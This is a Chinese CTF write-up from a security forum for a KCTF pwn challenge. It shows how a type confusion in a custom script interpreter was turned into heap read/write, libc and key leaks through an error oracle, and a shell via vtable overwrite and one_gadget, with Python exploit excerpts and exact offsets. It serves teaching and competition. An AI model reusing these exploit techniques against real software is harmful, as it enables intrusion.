[分享]2026 KCTF 第十题「卯时·曦光初现」(Writeup · Pwn)-CTF对抗-看雪安全社区

[分享]2026 KCTF 第十题「卯时·曦光初现」(Writeup · Pwn)

发表于: 2026-8-23 15:15 1607

[分享]2026 KCTF 第十题「卯时·曦光初现」(Writeup · Pwn)

correy

2026-8-23 15:15

1607

# 卯时·曦光初现

### 看雪 · 2026 KCTF · 第十题 · Pwn

**一门自定义 DSL 解释器的类型混淆 —— 从"没有任何数值输出"到稳定 getshell**

`类型混淆` · `任意堆读写` · `信息泄露 oracle` · `虚表自覆盖` · `one_gadget`

</div>

---

> **TL;DR**
> 题目是一门自定义脚本语言的解释器。赋值时数值被掩码到 48 位,而二元运算的结果**却不掩码** —— 这处不对称构成**类型混淆**:可以用纯算术拼出一个"高 16 位带 tag"的值,让解释器把它当成对象指针 / 超大对象头来解引用,从而得到**任意堆读写**。
> 程序**没有任何数值输出**,于是把"某条命令是否报 `runtime error`"当作**布尔 oracle**,逐位把内存搬回客户端,单连接内三源交叉泄露 `KEY` / `libc` / `pool`。最后在堆里布下一张伪虚表,用一条命令让 AST 根节点**覆盖自己的虚表指针**,在 `main` 尾部的析构虚调用里跳进 `one_gadget`,`execve("/bin/sh")` 收工。

## 目录

- [0. 题目信息](#0-题目信息)
- [1. 逆向:这不是堆菜单,是一门解释器](#1-逆向这不是堆菜单是一门解释器)
- [2. 漏洞:类型混淆(运算结果不掩码)](#2-漏洞类型混淆运算结果不掩码)
- [3. 任意堆读写原语](#3-任意堆读写原语)
- [4. 信息泄露:逐位 oracle + 三源交叉](#4-信息泄露逐位-oracle--三源交叉)
- [5. 控制流劫持:根节点自覆盖虚表 → 析构 one_gadget](#5-控制流劫持根节点自覆盖虚表--析构-one_gadget)
- [6. 工程化的最后一公里](#6-工程化的最后一公里)
- [7. 利用链全景](#7-利用链全景)
- [8. 关键脚本](#8-关键脚本)
- [9. 复盘与思考](#9-复盘与思考)

---

## 0. 题目信息

| 项 | 值 |
|---|---|
| 方向 | Pwn |
| 附件 | `pwn`(题目二进制,C++)、`libc-2.27.so` |
| 架构 | ELF 64-bit **PIE**,x86-64,**stripped** |
| libc | Ubuntu GLIBC **2.27-3ubuntu1.6** |
| 保护 | **Full RELRO / Canary / NX / PIE**,**无 seccomp** |
| 交互 | 行式 REPL,提示符 `> ` |
| flag | `flag{<UUID>}`(42 字符) |

```text
RELRO      Full RELRO
Stack      Canary found
NX         NX enabled
PIE        PIE enabled
Seccomp    (none)
```

**无 seccomp** ⇒ 拿到 RIP 后可直接 `execve("/bin/sh")`,无需 ORW / SROP,**one_gadget 即可收工**。

> 全文所有 RVA(相对二进制基址)、libc 偏移、堆偏移均由 `objdump` / Ghidra / gdb 实测得到;ASLR 由运行时泄露处理,与具体机器无关。

---

## 1. 逆向:这不是堆菜单,是一门解释器

`main`(RVA `0x2d09`)是一个 REPL:逐行读入、解析、执行一门迷你脚本语言(命名空间 `interpreter`)。它**不是**常见的 "1.add / 2.delete / 3.edit" 堆菜单 —— 读懂语言语义才是全题的钥匙。

- **成功执行没有任何数值输出**;错误只回显 `invalid syntax!` / `runtime error!`。这一点后面被直接当作**布尔 oracle** 用来逐位读内存。
- **寄存器** `$N`:`N` 为十进制且 `N < 0x100`。底层是一个 **256 槽**的全局数组 `context`,每槽 8 字节。
- **每连接随机密钥** `KEY`:初始化阶段从 `/dev/urandom` 读 **8 字节**;内存池里的一切值都用它异或"加密"。
- **64KB 内存池**:`operator new[](0x10000)`,bump 分配、**无 GC**、无 free。

### 1.1 语法与语义

| 形式 | 含义 |
|---|---|
| `$N = <num>` | 赋数字。存入前**掩码到 48 位**(`& 0xFFFFFFFFFFFF`) |
| `$N = [a, b, [c, d], …]` | 赋对象。在内存池里把嵌套列表序列化成**扁平树** |
| `$N = $M[i][j]…` | 取字段(GetField):沿路径导航到叶子,读回 `*ptr ^ KEY` |
| `$N[i][j] = $M` | 写字段(SetField):导航到叶子,`*leaf = context[M] ^ KEY` |
| `$N op $M` | 二元运算(`+ - * / % ^ \| &`) |

**二元运算方向(反汇编 + gdb 除零实测)**:`$N op $M` ⇒ `context[N] = context[N] op context[M]`,**结果存回 `N`**;`N` 是左操作数兼目的,`M` 是右操作数。

> 方向判据:`$5=0; $6=5; $6/$5` ⇒ `5/0` 触发 SIGFPE 断连,而 `$5/$6` 不崩 ⇒ **被除数是第一个操作数 `N`**。减 / 除等非对易运算的方向弄错,后面的构造就会写反。

### 1.2 池内对象编码

```text
对象头 header = (childCount | 0xbeef<<48) ^ KEY     ; 高 16 位 tag = 0xbeef
数字字段        =  value                    ^ KEY
子对象          =  递归展开,header 紧邻
```

`context[N]` 槽里的"值"靠**高 16 位 tag** 区分两种类型:

| 类型 | 高 16 位 | 低 48 位 |
|---|---|---|
| **数字** | `0x0000` | 裸值 |
| **对象引用** | `0x1337` | 池内**绝对地址** |

导航一个"对象"前有**门控**:读它的 header,校验 `(*header ^ KEY) >> 48 == 0xbeef`,否则 `runtime error`。这个门控本意是防乱指 —— 但它拦不住类型混淆。

---

## 2. 漏洞:类型混淆(运算结果不掩码)

核心不对称:

- **赋数字把值掩码到 48 位** ⇒ 高 16 位永远是 0,你无法直接写出一个"带 tag"的值。
- **但二元运算的结果写回完整 64 位、不掩码。**

于是可以用**纯算术**造出**高 16 位为任意 tag** 的值 —— 这正是漏洞的杀伤力。两种用法:

- **造 `0xbeef` 头**(伪造一个超大 `childCount`):用 `hi<<32 | lo` 拼出 `0xbeef<<48 | 0x8000`。中间值 `hi<<32` 的高 16 是 `0xbeef`(**不是** `0x1337`),不触发下面 §2.1 的门控,**可直接构造**。
- **造 `0x1337` 对象引用**(低 48 = 任意池内地址):同样能拼,但过程中必然出现高 16=`0x1337` 的中间值,会撞门控,需专门绕法。

```text
; 造假 beef 头(本题落地就用这个):
$h = 0xbeef0000        ; 纯数字
$t = 1<<32
$h * $t   →  0xbeef_0000_0000_0000   ; 结果不掩码,tag 就位
$h + 0x8000            ; childCount 撑到 0x8000
```

把这个 `childCount` 撑到 `0x8000` 的**假 beef 头**写进池内某个**合法对象**的 child 槽后,再经该对象导航,那颗"超大子对象"就允许索引**远远越界** —— **受控地址的任意堆读 / 任意堆写**成立。

> **gdb 实证**:导航一个高16=`0x1337`、低48=0 的伪指针 ⇒ 解引用地址 0 ⇒ SIGSEGV;而合法 `0xbeef` 头(哪怕 `childCount` 被改成 `0x8000`)⇒ 门控放行、正常越界导航。**类型混淆坐实**。

### 2.1 一个必须先跨过的坑:运算的操作数门控

二元运算的实现开头**同时检查两个操作数** `context[N]` 与 `context[M]`,**任一高 16 == `0x1337` ⇒ `runtime error`**。

后果:**无法"先乘出 `0x1337<<48` 中间值、再加低位"** —— 中间值一旦带上 `0x1337` tag,下一步运算立刻 RTE。这条门控贯穿整个利用:后面构造任意 64 位数、逐位 oracle、写伪指针,每一步都要绕它。

---

## 3. 任意堆读写原语

### 3.1 布局:把假 beef 头放在所有真实对象之后

导航函数是**从 beef 头向前线性跳 child**(`idx==0` 返回 `header+8`;否则逐个跳 `idx` 个 child)。**致命细节**:若沿途遇到池内**真实**的嵌套对象(自身也是 beef 头),它会**递归下降跳整棵子树**,打乱线性偏移。

所以布局必须让"承载假头的宿主对象"排在**所有真实对象之后**,假头的 children 区落在池的**零区**(从未 serialize、全 0),这样线性导航畅通无阻:

```text
$250 = [0]                    ; oracle 对象,占 pool+0x00(SetField oracle 判位用)
$0   = [0, 0]                 ; host 对象,占 pool+0x10
$1   = 0xbeef<<48 | 0x8000    ; 假头,childCount 撑到 0x8000
$0[0] = $1                    ; 写进 host.child0 = pool+0x18,children 起点 = pool+0x20
```

此后一切读写走 **host 的 2 级路径** `$0[0][i]`,叶子地址 = `pool+0x20 + 8*i`,可线性覆盖整个池及其后的堆区。

### 3.2 两条原语

- **任意读** `rd(off)`:`$60 = $0[0][i]`,`i = (off-0x20)/8`,叶子 = `pool+off`,读回 `*leaf ^ KEY`,再 `^KEY` 得明文。
- **任意写** `wr(off, val)`:先把 `val^KEY` 放进某寄存器(SetField 写时会再 `^KEY`,抵消后落到内存正是 `val`),再 `$0[0][i] = $src`。

> **范围限制**:导航是 `O(idx)` 线性跳,`idx` 若大到跨越 heap↔libc 的未映射空洞会 SIGSEGV。因此**不能直接对 libc 任意地址写**(经典的写 `__free_hook = system` 在这里走不通)。控制流劫持必须走**堆内机制** —— 这直接决定了后面用"自覆盖虚表"而非改 hook。

---

## 4. 信息泄露:逐位 oracle + 三源交叉

### 4.1 逐位 oracle(用"是否 RTE"读出每一位)

程序没有数值输出,怎么把读到的 64 位值搬回客户端?利用 SetField 的门控做**布尔 oracle**:

对某位 `bit_k`,把它**缩放到 `0x1337<<48`**(对象 tag),再拿去做 SetField 的**源** —— 源若是"对象"就 RTE。于是:

| `bit_k` | 缩放后 | SetField | 判定 |
|:---:|:---:|:---:|:---:|
| `1` | 带 `0x1337` tag | `runtime error` | 该位为 **1** |
| `0` | 无 tag | 成功 | 该位为 **0** |

逐位扫 64 次,即可把任意读到的一个 8 字节值完整搬回。

> **bit0 特判(致命坑)**:直接把 `0x1337<<48` 放进寄存器,这个中间值本身带 tag,后续乘法会因 §2.1 门控 RTE ⇒ **bit0 恒判 0**,污染结果(尤其污染 `KEY`)。修复:bit0 改成 `*2` 再 `*(0x1337<<47)`,两操作数均无 tag,结果才是 `0x1337<<48`。

### 4.2 三个泄露源(单连接内交叉校验)

| 源 | 位置 | 含义 |
|---|---|---|
| **KEY** | `pool+0x40`(零区) | `*ptr = 0` ⇒ 读回 `0 ^ KEY = KEY` 明文 |
| **libc**(主) | `pool+0x10230` | 残留 `_IO_wfile_jumps` = `libc + 0x3e7d60` |
| **libc**(校验) | `pool+0x10078` | 残留 `_IO_2_1_stderr_` 区 = `libc + 0x3ec680` |
| **pool base** | `pool+0x10098` | 残留堆指针,`- 0x100f0` 得 pool 基址 |

> 这些残留指针来自池块之后紧邻的一个 `_IO_FILE`(初始化时读 `/dev/urandom` 用过的 filebuf,已废弃,但结构体里的 libc 指针还在),经上百条命令 churn 仍稳定。

**自校验**(任一不过 ⇒ 本连接作废、重连,**不做暴力**):

```python
libc & 0xfff == 0            # 页对齐
libc == libc2                # 双源一致
pool & 0xfff == 0xe70        # pool 低 12 位恒 e70(堆布局决定)
KEY  >> 48 != 0xbeef         # 排除把 beef 头误读成 key
```

---

## 5. 控制流劫持:根节点自覆盖虚表 → 析构 one_gadget

### 5.1 main 尾部的两个虚调用

`main` 对每条命令的 AST 根节点 `R` 依次做(objdump 实证):

```asm
0x2e25  eval :  mov rax,[rbx];  lea rsi,[context];  mov rdi,rbx;  call [rax]      ; rbx=R,调 vtable[0]
0x2e2f          test al,al;  je 0x2f0c                                            ; eval 须返回真,否则跳过析构
0x2e35  dtor :  mov rax,[rbx];                      mov rdi,rbx;  call [rax+0x10] ; 重读 *rbx,调 vtable[0x10],rdi=R
```

**关键:析构处 `*rbx` 是重新读取的。** 只要在 eval 阶段把 `R+0`(根节点自身的虚表指针字段)改写成伪虚表 `V`,析构就会 `call [V+0x10]`,且 `rdi = R`(一个堆地址)。**一条命令内闭环**,无需跨命令、无需写 libc。

### 5.2 SetField 根节点的稳定落点

选**触发命令**为一条 SetField `$0[0][idx] = $src`。gdb 实测:经固定的前置命令序列(布局 + leak)之后,该 SetField 的根节点 `R` **稳定落在 `pool+0x102f0`**(chunk 0x40)。

原因:每条命令 parse 期大量 alloc/free 都是**平衡的**(AST 命令结束后全部 free 回 tcache),堆状态每命令后复位 ⇒ `R` 偏移**确定、可硬编码**,不必动态泄露。

SetField 节点体(相对 `R`):`+0x00`=虚表、`+0x08`=src 寄存器号、`+0x10`=dst 寄存器号、`+0x18/0x20`=path 向量。其虚表 `[+0x00]`=eval、`[+0x10]`=析构。

### 5.3 触发时序(一条命令内闭环)

```text
① 布伪虚表:  wr(pool+0x1000+0x10, one_gadget)   ; V = pool+0x1000,[V+0x10] = og
② 备源值:    $40 = V ^ KEY                       ; SetField 写时 ^KEY,落到叶子正是 V
③ 触发:      $0[0][8282] = $40                   ; idx = (0x102f0-0x20)/8 = 8282
```

第 ③ 步里,SetField 的 eval 沿 host 2 级路径把 `context[40]^KEY = V` 写到叶子 `= pool+0x102f0 = R+0`,**把根节点自身的虚表覆盖成 `V`**;eval 用的是**改写之前**已取到 `rax` 的真虚表,所以正常返回真;随后析构 `call [*R+0x10] = [V+0x10] = one_gadget`,`rdi = R` ⇒ `execve("/bin/sh")` ⇒ **getshell**。

> **为何走 host 2 级路径 `$0[0][idx]` 而非直接 forge 一个 `0x1337` 指针?** forge 路径在写路径的导航里,对大 `idx` 会返回坏地址并崩溃;而 2 级路径经 host 稳定导航,还彻底绕开了构造 `0x1337` tag 时的门控坑(§2.1)。这是从"崩 SIGSEGV"到"稳定 getshell"的关键一步。

### 5.4 one_gadget 选择

题目 libc(2.27-3ubuntu1.6)的 4 个候选:

| 偏移 | 语义 | 约束 | 析构点 |
|---|---|---|:---:|
| `0x4f29e` | `execve("/bin/sh", rsp+0x40, environ)` | `rsp & 0xf == 0` 且 `rcx == NULL` | ✗ |
| `0x4f2a5` | 同上 | `rsp & 0xf == 0` 且 `rcx == NULL` | ✗ |
| `0x4f302` | `execve("/bin/sh", rsp+0x40, environ)` | `[rsp+0x40] == NULL` | ✅ |
| `0x10a2fc` | `execve("/bin/sh", rsp+0x70, environ)` | `[rsp+0x70] == NULL` | ✅ |

析构调用点 `call [rax+0x10]` 刚 push 过返回地址,`rsp` 是 8 错位(`rsp & 0xf == 8`),因此要求 `rsp & 0xf == 0` 的两个 gadget 失败;而只要求某个栈槽为 `NULL` 的 `0x4f302` / `0x10a2fc` 满足。脚本默认 `0x4f302`,并对 4 个 gadget 逐个回退。

---

## 6. 工程化的最后一公里

"推理自洽"和"真实 getshell"之间,隔着两个必须靠真值(gdb / 真实交互)才能发现的坑。

**坑一:构造带 tag 的值撞门控。** 造任意 64 位数字的 `set64` 用 `hi<<32 + lo` 拼装。当目标值本身高 16 == `0x1337`(正是伪造对象指针的情形)时,中间值 `hi<<32` 的高 16 已经是 `0x1337`,下一步 `+ lo` 因 §2.1 的双操作数门控直接 RTE ⇒ **低 32 位丢失** ⇒ 写出坏地址 ⇒ 触发命令在写入例程里 SIGSEGV。

> 这也是"崩 SIGSEGV"的真凶,曾被误判为偏移错。修复有两条路:① 触发改走 **host 2 级路径**(§5.3),根本不构造 `0x1337` 指针;② 若确需构造,先造 `0x1336|addr`(高 16 非 `0x1337`,安全)再 `+ (1<<48)`,两个操作数都不带 tag。本题采用 ①,更稳。

**坑二:目标环境极精简,没有 `cat`。** 首发虽然 getshell 成功,但 `cat /flag` 直接 `not found`,读不出内容。改用 shell(dash)**内建 `read`**(不依赖任何外部命令),并处理"flag 可能无尾换行"的边界:

```sh
while IFS= read -r L || [ -n "$L" ]; do echo "$L"; done < /flag
```

`|| [ -n "$L" ]` 是关键:文件无尾换行时,最后一次 `read` 遇 EOF 返回非 0,但 `$L` 里已填好内容 —— 少了这个兜底就会漏掉最后一行,恰好把 flag 吞掉。

---

## 7. 利用链全景

```text
    赋值掩码 48 位  ×  运算结果不掩码            ← 类型混淆根因(语义层,非内存破坏)
            │
            │  纯算术拼出"高 16 位带 tag"的值(绕运算的 0x1337 双操作数门控)
            ▼
    ┌───────────────────────────────────────────┐
    │  任意堆读写原语                              │
    │  假 beef 头(childCount=0x8000)置于所有      │
    │  真实对象之后 → host 2 级路径线性导航池零区   │
    └───────────────────────────────────────────┘
            │
            ├─►  逐位 oracle(SetField 源=对象 ⇒ RTE)+ 三源交叉自校验
            │         KEY(零区明文) · libc(_IO_wfile_jumps) · pool base
            ▼
    ┌───────────────────────────────────────────┐
    │  堆内伪虚表 V,[V+0x10] = one_gadget          │
    │  触发 $0[0][8282]=$40:                       │
    │  SetField 根节点自覆盖 R+0 的虚表 = V          │
    └───────────────────────────────────────────┘
            │
            ▼
    main 尾部析构  call [*R+0x10] = [V+0x10] = one_gadget   (rdi = R,无 seccomp)
            │
            ▼
    execve("/bin/sh")  →  getshell  →  读 /flag
```

内存池关键布局(相对 `pool` 基址):

```text
pool+0x00000   oracle 对象         (SetField 判位)
pool+0x00010   host 对象 $0
pool+0x00018   假 beef 头 (count 0x8000) ── children 起点 pool+0x20
pool+0x00040   零区                (读回 = KEY 明文)
pool+0x01000   伪虚表 V             ([V+0x10] = one_gadget)
     ⋯         零区(线性可写)
pool+0x0f000   ← 64KB 池尾
pool+0x10078   残留 _IO_2_1_stderr_ (libc 校验源)
pool+0x10098   残留堆指针           (pool base 源)
pool+0x10230   残留 _IO_wfile_jumps (libc 主源)
pool+0x102f0   触发命令 SetField 根节点 R (chunk 0x40) ← 自覆盖目标
```

---

## 8. 关键脚本

完整脚本 `solve.py`(约 190 行,本地 / 远端双模,内置 leak 自校验重连、one_gadget 回退、自动读 flag)。下面摘出两段最能说明利用链的核心。

**约定**:`binop(N,op,M)` 发 `$N op $M`(= `ctx[N] = ctx[N] op ctx[M]`);`set64(N,C)` 用 `hi<<32 + lo` 造任意 64 位数字(要求 `C` 高 16 ≠ `0x1337`);`getf/setf` 走 host 2 级路径 `$0[0][i]`。

### 8.1 逐位 oracle:`extract`

```python
def extract(self, R, nbits=64, orobj=250):
    # 逐位 oracle: 把 bit_k 缩放到 0x1337<<48(对象 tag),SetField 源=对象 ⇒ RTE 判位
    val = 0
    for k in range(nbits):
        self.copy(200, R); self.put(201, 1 << k); self.binop(200, '&', 201)
        if k == 0:                        # bit0 特判:避免 0x1337<<48 带 tag 导致乘法 RTE
            self.assign(210, 2); self.binop(200, '*', 210)
            self.put(202, (0x1337 << 47) & M64); self.binop(200, '*', 202)
        elif k <= 48:
            self.put(202, (0x1337 << (48 - k)) & M64); self.binop(200, '*', 202)
        else:                             # 高位:先 /2^(k-48) 归一,再 *0x1337 造 tag
            self.assign(202, 1 << (k - 48)); self.binop(200, '/', 202)
            self.assign(203, 0x1337); self.binop(200, '*', 203)
        if not self.setf_ok(orobj, [0], 200):   # RTE ⟺ 该位为 1
            val |= (1 << k)
    return val
```

### 8.2 利用链:`do_exploit`(单连接内闭环)

```python
def do_exploit(io, og_off):
    vm = VM(io)
    # 布局:oracle@pool+0x00,host@pool+0x10;host.child0(pool+0x18) 植入假 beef 头(count 0x8000)
    vm.newlist(250, [0]); vm.newlist(0, [0, 0])
    vm.set64(1, TAG_HDR | 0x8000); vm.setf(0, [0], 1)
    # 任意读:$60=$0[0][i],叶子=pool+0x20+8*i;零区读回 0^key=key 明文
    def rd_raw(off):
        i = (off - 0x20)//8; vm.getf(60, 0, [0, i]); return vm.extract(60)
    key = rd_raw(0x40)
    def rd(off): return rd_raw(off) ^ key
    libc  = rd(0x10230) - 0x3e7d60          # _IO_wfile_jumps
    libc2 = rd(0x10078) - 0x3ec680          # _IO_2_1_stderr_ (交叉校验)
    pool  = rd(0x10098) - 0x100f0
    if (libc & 0xfff) or libc != libc2 or (pool & 0xfff) != 0xe70 or (key >> 48) == 0xbeef:
        raise RuntimeError("leak self-check failed")     # 不过关 ⇒ 重连,不暴力
    og = libc + og_off
    # 任意写:$0[0][i]=$src,落值 = ctx[src]^key
    def wr(off, val):
        i = (off - 0x20)//8; vm.put(30, val ^ key); return vm.setf_ok(0, [0, i], 30)
    wr(VT_OFF + 0x10, og)                    # 伪虚表 V=pool+0x1000,[V+0x10]=one_gadget
    Vabs = pool + VT_OFF
    vm.put(40, Vabs ^ key)                   # ctx[40],SetField 写时 ^key ⇒ 落 Vabs
    idx = (R_OFF - 0x20)//8                   # R=pool+0x102f0 → idx=8282
    io.sendline(("$0[0][%d]=$40" % idx).encode())   # 自覆盖根节点虚表 → 析构 call [V+0x10]
    return dict(key=key, libc=libc, pool=pool, og=og)
```

关键常量:`R_OFF = 0x102f0`、`VT_OFF = 0x1000`、`OG = 0x4f302`(默认;回退 `0x4f302 / 0x10a2fc / 0x4f29e / 0x4f2a5`)。全部地址均运行时泄露后计算。

拿到 shell 后,若目标环境精简、没有 `cat`,可用 shell 内建读 flag(注意"文件可能无尾换行"):

```sh
while IFS= read -r L || [ -n "$L" ]; do echo "$L"; done < /flag
```

**Flag**(远端真实 getshell 读取,非附件诱饵;本文赛后发布):

```text
flag{c090c943-4ce5-4901-bb6b-692684986fb7}
```

字节校验:`len = 42`;`hexdump` 尾部 `… 7d 0a`,无隐藏字符;`re.fullmatch(r'flag\{[^}]*\}')` 为真;UUID 段长 `8-4-4-4-12`。

---

## 9. 复盘与思考

**这题赢在哪**

- 真正的漏洞是**语义层**的(赋值掩码 vs 运算不掩码),不是内存破坏。识别"类型系统的不对称"才是突破口 —— 一旦看穿,后面全是水到渠成的原语搭建。
- **没有输出**不等于无法泄露:把"是否报错"变成 1-bit oracle,配合缩放技巧就能逐位搬运任意内存。信息泄露的本质是"任何可观测的行为差异"。
- 读写**只能在堆内** ⇒ 放弃改 libc hook,转向**自覆盖堆内虚表**,把控制流劫持收进一条命令 —— 约束反过来指明了最短路径。
- `0x1337` 门控无处不在:`set64`、bit0、写伪指针,每一步都要规避。**"自洽的推理"和"真实的 getshell"之间,隔着一串被真值反复验证掉的工程细节。**

**给出题 / 防御方的启示**

- 值的类型 tag 与数据同源存储、且**运算路径与赋值路径掩码规则不一致**,是这类"解释器类型混淆"的通病 —— 任何写回值的路径都应统一规范化(掩码 / 校验 tag)。
- 越界的根子是"对象头里的 `childCount` 完全可信、且导航不做边界钳制"。长度前缀应与实际分配大小交叉校验。
- 把 `KEY` 与可被读到 `0` 的零区放在同一可寻址平面,等于把密钥明文摆上台面。

---

*方法可复现,结论有真值支撑。愿每道试炼都迎来自己的曦光。*

</div>

登录后可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

收藏・0

点赞・6

打赏